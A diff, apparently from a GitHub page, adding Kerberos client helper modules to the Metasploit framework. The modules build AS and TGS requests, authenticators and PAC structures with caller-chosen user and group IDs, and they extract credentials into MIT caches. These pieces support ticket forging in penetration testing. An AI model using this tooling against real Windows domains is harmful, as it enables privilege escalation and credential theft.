# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
|
||||
# @see #build_client_name
|
||||
# @see #build_server_name
|
||||
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
|
||||
def build_as_request_body(opts = {})
|
||||
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
|
||||
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
|
||||
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
|
||||
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
|
||||
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
|
||||
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
|
||||
cname = opts[:cname] || build_client_name(opts)
|
||||
realm = opts[:realm] || ''
|
||||
sname = opts[:sname] || build_server_name(opts)
|
||||
|
||||
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
|
||||
options: options,
|
||||
cname: cname,
|
||||
realm: realm,
|
||||
sname: sname,
|
||||
from: from,
|
||||
till: till,
|
||||
rtime: rtime,
|
||||
nonce: nonce,
|
||||
etype: etype
|
||||
)
|
||||
|
||||
body
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,46 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module AsResponse
|
||||
|
||||
# Extracts the session key from a Kerberos AS Response
|
||||
#
|
||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @param key [String]
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
def extract_session_key(res, key)
|
||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
|
||||
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||
|
||||
enc_kdc_res.key
|
||||
end
|
||||
|
||||
# Extracts the logon time from a Kerberos AS Response
|
||||
#
|
||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @param key [String]
|
||||
# @return [Fixnum]
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||
def extract_logon_time(res, key)
|
||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
|
||||
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||
|
||||
auth_time = enc_kdc_res.auth_time
|
||||
|
||||
auth_time.to_i
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,44 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module Base
|
||||
|
||||
# Builds a kerberos Client Name Principal
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :client_name the client's name
|
||||
# @option opts [Fixnum] :client_type the client's name type
|
||||
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
def build_client_name(opts = {})
|
||||
name = opts[:client_name] || ''
|
||||
name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
|
||||
|
||||
Rex::Proto::Kerberos::Model::PrincipalName.new(
|
||||
name_type: name_type,
|
||||
name_string: name.split('/')
|
||||
)
|
||||
end
|
||||
|
||||
# Builds a kerberos Server Name Principal
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :server_name the server's name
|
||||
# @option opts [Fixnum] :server_type the server's name type
|
||||
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
def build_server_name(opts = {})
|
||||
name = opts[:server_name] || ''
|
||||
name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
|
||||
|
||||
Rex::Proto::Kerberos::Model::PrincipalName.new(
|
||||
name_type: name_type,
|
||||
name_string: name.split('/')
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,148 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module CacheCredential
|
||||
|
||||
# Builds a MIT Credential Cache
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Array<String>, Rex::Proto::Kerberos::CredentialCache::Principal, Array<Rex::Proto::Kerberos::CredentialCache::Credential>>}]
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Array<String>] :headers
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal
|
||||
# @option opts [Array<Rex::Proto::Kerberos::CredentialCache::Credential>] :credentials
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Cache
|
||||
def create_cache(opts = {})
|
||||
version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION
|
||||
headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER]
|
||||
primary_principal = opts[:primary_principal] || create_cache_principal(opts)
|
||||
credentials = opts[:credentials] || [create_cache_credential(opts)]
|
||||
|
||||
cache = Rex::Proto::Kerberos::CredentialCache::Cache.new(
|
||||
version: version,
|
||||
headers: headers,
|
||||
primary_principal: primary_principal,
|
||||
credentials: credentials
|
||||
)
|
||||
|
||||
cache
|
||||
end
|
||||
|
||||
# Builds a MIT Credential Cache principal
|
||||
#
|
||||
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>}>]
|
||||
# @option opts [Fixnum] :name_type
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Array<String>] :components
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Principal]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Principal
|
||||
def create_cache_principal(opts = {})
|
||||
name_type = opts[:name_type] || 0
|
||||
realm = opts[:realm] || ''
|
||||
components = opts[:components] || ['']
|
||||
|
||||
principal = Rex::Proto::Kerberos::CredentialCache::Principal.new(
|
||||
name_type: name_type,
|
||||
realm: realm,
|
||||
components:components
|
||||
)
|
||||
|
||||
principal
|
||||
end
|
||||
|
||||
# Builds a MIT Credential Cache key block
|
||||
#
|
||||
# @param opts [Hash<{Symbol => <Fixnum, String>}>]
|
||||
# @option opts [Fixnum] :key_type
|
||||
# @option opts [Fixnum] :e_type
|
||||
# @option opts [String] :key_value
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::KeyBlock
|
||||
def create_cache_key_block(opts = {})
|
||||
key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
e_type = opts[:e_type] || 0
|
||||
key_value = opts[:key_value] || ''
|
||||
|
||||
key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new(
|
||||
key_type: key_type,
|
||||
e_type: e_type,
|
||||
key_value: key_value
|
||||
)
|
||||
|
||||
key_block
|
||||
end
|
||||
|
||||
# Builds a times structure linked to a credential in a MIT Credential Cache
|
||||
#
|
||||
# @param opts [Hash<{Symbol => Fixnum}>]
|
||||
# @option opts [Fixnum] auth_time
|
||||
# @option opts [Fixnum] start_time
|
||||
# @option opts [Fixnum] end_time
|
||||
# @option opts [Fixnum] renew_till
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Time]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Time
|
||||
def create_cache_times(opts = {})
|
||||
auth_time = opts[:auth_time] || 0
|
||||
start_time = opts[:start_time] || 0
|
||||
end_time = opts[:end_time] || 0
|
||||
renew_till = opts[:renew_till] || 0
|
||||
|
||||
time = Rex::Proto::Kerberos::CredentialCache::Time.new(
|
||||
auth_time: auth_time.to_i,
|
||||
start_time: start_time.to_i,
|
||||
end_time: end_time.to_i,
|
||||
renew_till: renew_till.to_i
|
||||
)
|
||||
|
||||
time
|
||||
end
|
||||
|
||||
# Builds a MIT Credential Cache credential
|
||||
#
|
||||
# @param opts [Hash<{Symbol => <>}>]
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time
|
||||
# @option opts [Fixnum] is_key
|
||||
# @option opts [Fixnum] flags
|
||||
# @option opts [Array] addrs
|
||||
# @option opts [Array] auth_data
|
||||
# @option opts [String] ticket
|
||||
# @option opts [String] second_ticket
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Credential]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Credential
|
||||
def create_cache_credential(opts = {})
|
||||
client = opts[:client] || create_cache_principal(opts)
|
||||
server = opts[:server] || create_cache_principal(opts)
|
||||
key = opts[:key] || create_cache_key_block(opts)
|
||||
time = opts[:time] || create_cache_times(opts)
|
||||
is_skey = opts[:is_skey] || 0
|
||||
tkt_flags = opts[:flags] || 0
|
||||
addrs = opts[:addrs] || []
|
||||
auth_data = opts[:auth_data] || []
|
||||
ticket = opts[:ticket] || ''
|
||||
second_ticket = opts[:second_ticket] || ''
|
||||
|
||||
cred = Rex::Proto::Kerberos::CredentialCache::Credential.new(
|
||||
client: client,
|
||||
server: server,
|
||||
key: key,
|
||||
time: time,
|
||||
is_skey: is_skey,
|
||||
tkt_flags:tkt_flags,
|
||||
addrs: addrs,
|
||||
auth_data: auth_data,
|
||||
ticket: ticket,
|
||||
second_ticket: second_ticket
|
||||
)
|
||||
|
||||
cred
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,111 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module Pac
|
||||
|
||||
# Builds a kerberos PA-PAC-REQUEST pre authenticated structure
|
||||
#
|
||||
# @param opts [Hash{Symbol => Boolean}]
|
||||
# @option opts [Boolean] :pac_request_value
|
||||
# @return [Rex::Proto::Kerberos::Model::Field::PreAuthData]
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthPacRequest
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||
def build_pa_pac_request(opts = {})
|
||||
value = opts[:pac_request_value] || false
|
||||
pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value)
|
||||
pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||
type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST,
|
||||
value: pac_request.encode
|
||||
)
|
||||
|
||||
pa_pac_request
|
||||
end
|
||||
|
||||
# Builds a kerberos PACTYPE structure
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum, Array, Time>}]
|
||||
# @option opts [String] :client_name
|
||||
# @option opts [Fixnum] :user_id the user SID Ex: 1000
|
||||
# @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users'
|
||||
# @option opts [Array<Fixnum>] :group_ids
|
||||
# @option opts [String] :realm
|
||||
# @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962
|
||||
# @option opts [Time] :logon_time
|
||||
# @return [Rex::Proto::Kerberos::Pac::Type]
|
||||
# @see Rex::Proto::Kerberos::Pac::LogonInfo
|
||||
# @see Rex::Proto::Kerberos::Pac::ClientInfo
|
||||
# @see Rex::Proto::Kerberos::Pac::ServerChecksum
|
||||
# @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum
|
||||
# @see Rex::Proto::Kerberos::Pac::Type
|
||||
def build_pac(opts = {})
|
||||
user_name = opts[:client_name] || ''
|
||||
user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID
|
||||
primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
|
||||
group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
|
||||
domain_name = opts[:realm] || ''
|
||||
domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID
|
||||
logon_time = opts[:logon_time] || Time.now
|
||||
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5
|
||||
|
||||
logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new(
|
||||
logon_time: logon_time,
|
||||
effective_name: user_name,
|
||||
user_id: user_id,
|
||||
primary_group_id: primary_group_id,
|
||||
group_ids: group_ids,
|
||||
logon_domain_name: domain_name,
|
||||
logon_domain_id: domain_id,
|
||||
)
|
||||
|
||||
client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new(
|
||||
client_id: logon_time,
|
||||
name: user_name
|
||||
)
|
||||
|
||||
server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new(
|
||||
checksum: checksum_type
|
||||
)
|
||||
|
||||
priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new(
|
||||
checksum: checksum_type
|
||||
)
|
||||
|
||||
pac_type = Rex::Proto::Kerberos::Pac::Type.new(
|
||||
buffers: [
|
||||
logon_info,
|
||||
client_info,
|
||||
server_checksum,
|
||||
priv_srv_checksum
|
||||
],
|
||||
checksum: checksum_type
|
||||
)
|
||||
|
||||
pac_type
|
||||
end
|
||||
|
||||
# Builds an kerberos AuthorizationData structure containing a PACTYPE
|
||||
#
|
||||
# @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}]
|
||||
# @option opts [Rex::Proto::Kerberos::Pac::Type] :pac
|
||||
# @return [Rex::Proto::Kerberos::Model::AuthorizationData]
|
||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||
def build_pac_authorization_data(opts = {})
|
||||
pac = opts[:pac] || build_pac(opts)
|
||||
|
||||
pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
|
||||
elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}]
|
||||
)
|
||||
authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
|
||||
elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}]
|
||||
)
|
||||
|
||||
authorization_data
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,273 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module TgsRequest
|
||||
|
||||
# Builds the encrypted Kerberos TGS request
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::Element>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator
|
||||
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||
# @raise [RuntimeError] if ticket isn't available
|
||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||
# @see Rex::Proto::Kerberos::Model::Authenticator
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||
# @see Rex::Proto::Kerberos::Model::KdcRequest
|
||||
def build_tgs_request(opts = {})
|
||||
subkey = opts[:subkey] || build_subkey(opts)
|
||||
|
||||
if opts[:enc_auth_data]
|
||||
enc_auth_data = opts[:enc_auth_data]
|
||||
elsif opts[:auth_data]
|
||||
enc_auth_data = build_enc_auth_data(
|
||||
auth_data: opts[:auth_data],
|
||||
subkey: subkey
|
||||
)
|
||||
else
|
||||
enc_auth_data = nil
|
||||
end
|
||||
|
||||
body = build_tgs_request_body(opts.merge(
|
||||
enc_auth_data: enc_auth_data
|
||||
))
|
||||
|
||||
checksum = opts[:checksum] || build_tgs_body_checksum(:body => body)
|
||||
|
||||
if opts[:auhtenticator]
|
||||
authenticator = opts[:authenticator]
|
||||
else
|
||||
authenticator = build_authenticator(opts.merge(
|
||||
subkey: subkey,
|
||||
checksum: checksum
|
||||
))
|
||||
end
|
||||
|
||||
if opts[:ap_req]
|
||||
ap_req = opts[:ap_req]
|
||||
else
|
||||
ap_req = build_ap_req(opts.merge(:authenticator => authenticator))
|
||||
end
|
||||
|
||||
pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||
type: Rex::Proto::Kerberos::Model::PA_TGS_REQ,
|
||||
value: ap_req.encode
|
||||
)
|
||||
|
||||
pa_data = []
|
||||
pa_data.push(pa_ap_req)
|
||||
if opts[:pa_data]
|
||||
opts[:pa_data].each { |pa| pa_data.push(pa) }
|
||||
end
|
||||
|
||||
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
|
||||
pvno: 5,
|
||||
msg_type: Rex::Proto::Kerberos::Model::TGS_REQ,
|
||||
pa_data: pa_data,
|
||||
req_body: body
|
||||
)
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
# Builds the encrypted TGS authorization data
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::AuthorizationData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptedData]
|
||||
# @raise [RuntimeError] if auth_data option isn't provided
|
||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
def build_enc_auth_data(opts = {})
|
||||
auth_data = opts[:auth_data]
|
||||
|
||||
if auth_data.nil?
|
||||
raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data'
|
||||
end
|
||||
|
||||
subkey = opts[:subkey] || build_subkey(opts)
|
||||
|
||||
encrypted = auth_data.encrypt(subkey.type, subkey.value)
|
||||
|
||||
e_data = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||
etype: subkey.type,
|
||||
cipher: encrypted
|
||||
)
|
||||
|
||||
e_data
|
||||
end
|
||||
|
||||
# Builds a KRB_AP_REQ message
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Rex::Proto::Kerberos::Model::Ticket, Rex::Proto::Kerberos::Model::EncryptedData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||
# @option opts [Fixnum] :pvno
|
||||
# @option opts [Fixnum] :msg_type
|
||||
# @option opts [Fixnum] :ap_req_options
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||
# @raise [RuntimeError] if ticket option isn't provided
|
||||
# @see Rex::Proto::Kerberos::Model::Ticket
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
def build_ap_req(opts = {})
|
||||
pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION
|
||||
msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ
|
||||
options = opts[:ap_req_options] || 0
|
||||
ticket = opts[:ticket]
|
||||
authenticator = opts[:authenticator] || build_authenticator(opts)
|
||||
session_key = opts[:session_key] || build_subkey(opts)
|
||||
|
||||
if ticket.nil?
|
||||
raise ::RuntimeError, 'Building a AP-REQ without ticket not supported'
|
||||
end
|
||||
|
||||
enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||
etype: session_key.type,
|
||||
cipher: authenticator.encrypt(session_key.type, session_key.value)
|
||||
)
|
||||
|
||||
ap_req = Rex::Proto::Kerberos::Model::ApReq.new(
|
||||
pvno: pvno,
|
||||
msg_type: msg_type,
|
||||
options: options,
|
||||
ticket: ticket,
|
||||
authenticator: enc_authenticator
|
||||
)
|
||||
|
||||
ap_req
|
||||
end
|
||||
|
||||
# Builds a kerberos authenticator for a TGS request
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::PrincipalName, String, Time, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Time] :ctime
|
||||
# @option opts [Fixnum] :cusec
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||
# @return [Rex::Proto::Kerberos::Model::Authenticator]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
# @see Rex::Proto::Kerberos::Model::Authenticator
|
||||
def build_authenticator(opts = {})
|
||||
cname = opts[:cname] || build_client_name(opts)
|
||||
realm = opts[:realm] || ''
|
||||
ctime = opts[:ctime] || Time.now
|
||||
cusec = opts[:cusec] || ctime.usec
|
||||
checksum = opts[:checksum] || build_tgs_body_checksum(opts)
|
||||
subkey = opts[:subkey] || build_subkey(opts)
|
||||
|
||||
authenticator = Rex::Proto::Kerberos::Model::Authenticator.new(
|
||||
vno: 5,
|
||||
crealm: realm,
|
||||
cname: cname,
|
||||
checksum: checksum,
|
||||
cusec: cusec,
|
||||
ctime: ctime,
|
||||
subkey: subkey
|
||||
)
|
||||
|
||||
authenticator
|
||||
end
|
||||
|
||||
# Builds an encryption key to protect the data sent in the TGS request.
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :subkey_type
|
||||
# @option opts [String] :subkey_value
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
def build_subkey(opts={})
|
||||
subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16)
|
||||
|
||||
subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new(
|
||||
type: subkey_type,
|
||||
value: subkey_value
|
||||
)
|
||||
|
||||
subkey
|
||||
end
|
||||
|
||||
|
||||
# Builds a kerberos TGS request body
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName, Rex::Proto::Kerberos::Model::EncryptedData>}]
|
||||
# @option opts [Fixnum] :options
|
||||
# @option opts [Time] :from
|
||||
# @option opts [Time] :till
|
||||
# @option opts [Time] :rtime
|
||||
# @option opts [Fixnum] :nonce
|
||||
# @option opts [Fixnum] :etype
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
|
||||
def build_tgs_request_body(opts = {})
|
||||
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
|
||||
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
|
||||
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
|
||||
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
|
||||
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
|
||||
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
|
||||
cname = opts[:cname] || build_client_name(opts)
|
||||
realm = opts[:realm] || ''
|
||||
sname = opts[:sname] || build_server_name(opts)
|
||||
enc_auth_data = opts[:enc_auth_data] || nil
|
||||
|
||||
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
|
||||
options: options,
|
||||
cname: cname,
|
||||
realm: realm,
|
||||
sname: sname,
|
||||
from: from,
|
||||
till: till,
|
||||
rtime: rtime,
|
||||
nonce: nonce,
|
||||
etype: etype,
|
||||
enc_auth_data: enc_auth_data
|
||||
)
|
||||
|
||||
body
|
||||
end
|
||||
|
||||
# Builds a Kerberos TGS Request body checksum
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::KdcRequestBody, Fixnum>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
|
||||
# @return [Rex::Proto::Kerberos::Model::Checksum]
|
||||
# @see #build_tgs_request_body
|
||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||
def build_tgs_body_checksum(opts = {})
|
||||
body = opts[:body] || build_tgs_request_body(opts)
|
||||
checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5)
|
||||
checksum = Rex::Proto::Kerberos::Model::Checksum.new(
|
||||
type: 7,
|
||||
checksum: checksum_body
|
||||
)
|
||||
|
||||
checksum
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,74 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module TgsResponse
|
||||
|
||||
# Extracts the Kerberos credentials, buildint a MIT Cache Credential,
|
||||
# from a Kerberos TGS response.
|
||||
#
|
||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @param key [String]
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||
# @see Msf::Kerberos::Client::CacheCredential
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Cache
|
||||
def extract_kerb_creds(res, key)
|
||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE)
|
||||
enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||
|
||||
client = create_cache_principal(
|
||||
name_type: res.cname.name_type,
|
||||
realm: res.crealm,
|
||||
components: res.cname.name_string
|
||||
)
|
||||
|
||||
server = create_cache_principal(
|
||||
name_type: enc_res.sname.name_type,
|
||||
realm: enc_res.srealm,
|
||||
components: enc_res.sname.name_string
|
||||
)
|
||||
|
||||
key = create_cache_key_block(
|
||||
key_type: enc_res.key.type,
|
||||
key_value: enc_res.key.value
|
||||
)
|
||||
|
||||
times = create_cache_times(
|
||||
auth_time: enc_res.auth_time,
|
||||
start_time: enc_res.start_time,
|
||||
end_time: enc_res.end_time,
|
||||
renew_till: enc_res.renew_till
|
||||
)
|
||||
|
||||
credential = create_cache_credential(
|
||||
client: client,
|
||||
server: server,
|
||||
key: key,
|
||||
time: times,
|
||||
ticket: res.ticket.encode,
|
||||
flags: enc_res.flags
|
||||
)
|
||||
|
||||
cache_principal = create_cache_principal(
|
||||
name_type: res.cname.name_type, # NT_PRINCIPAL
|
||||
#realm: realm,# opts[:realm],
|
||||
realm: res.crealm,
|
||||
#components: user # [opts[:cname]]
|
||||
components: res.cname.name_string
|
||||
)
|
||||
|
||||
cache = create_cache(
|
||||
primary_principal: cache_principal,
|
||||
credentials: [credential]
|
||||
)
|
||||
|
||||
cache
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue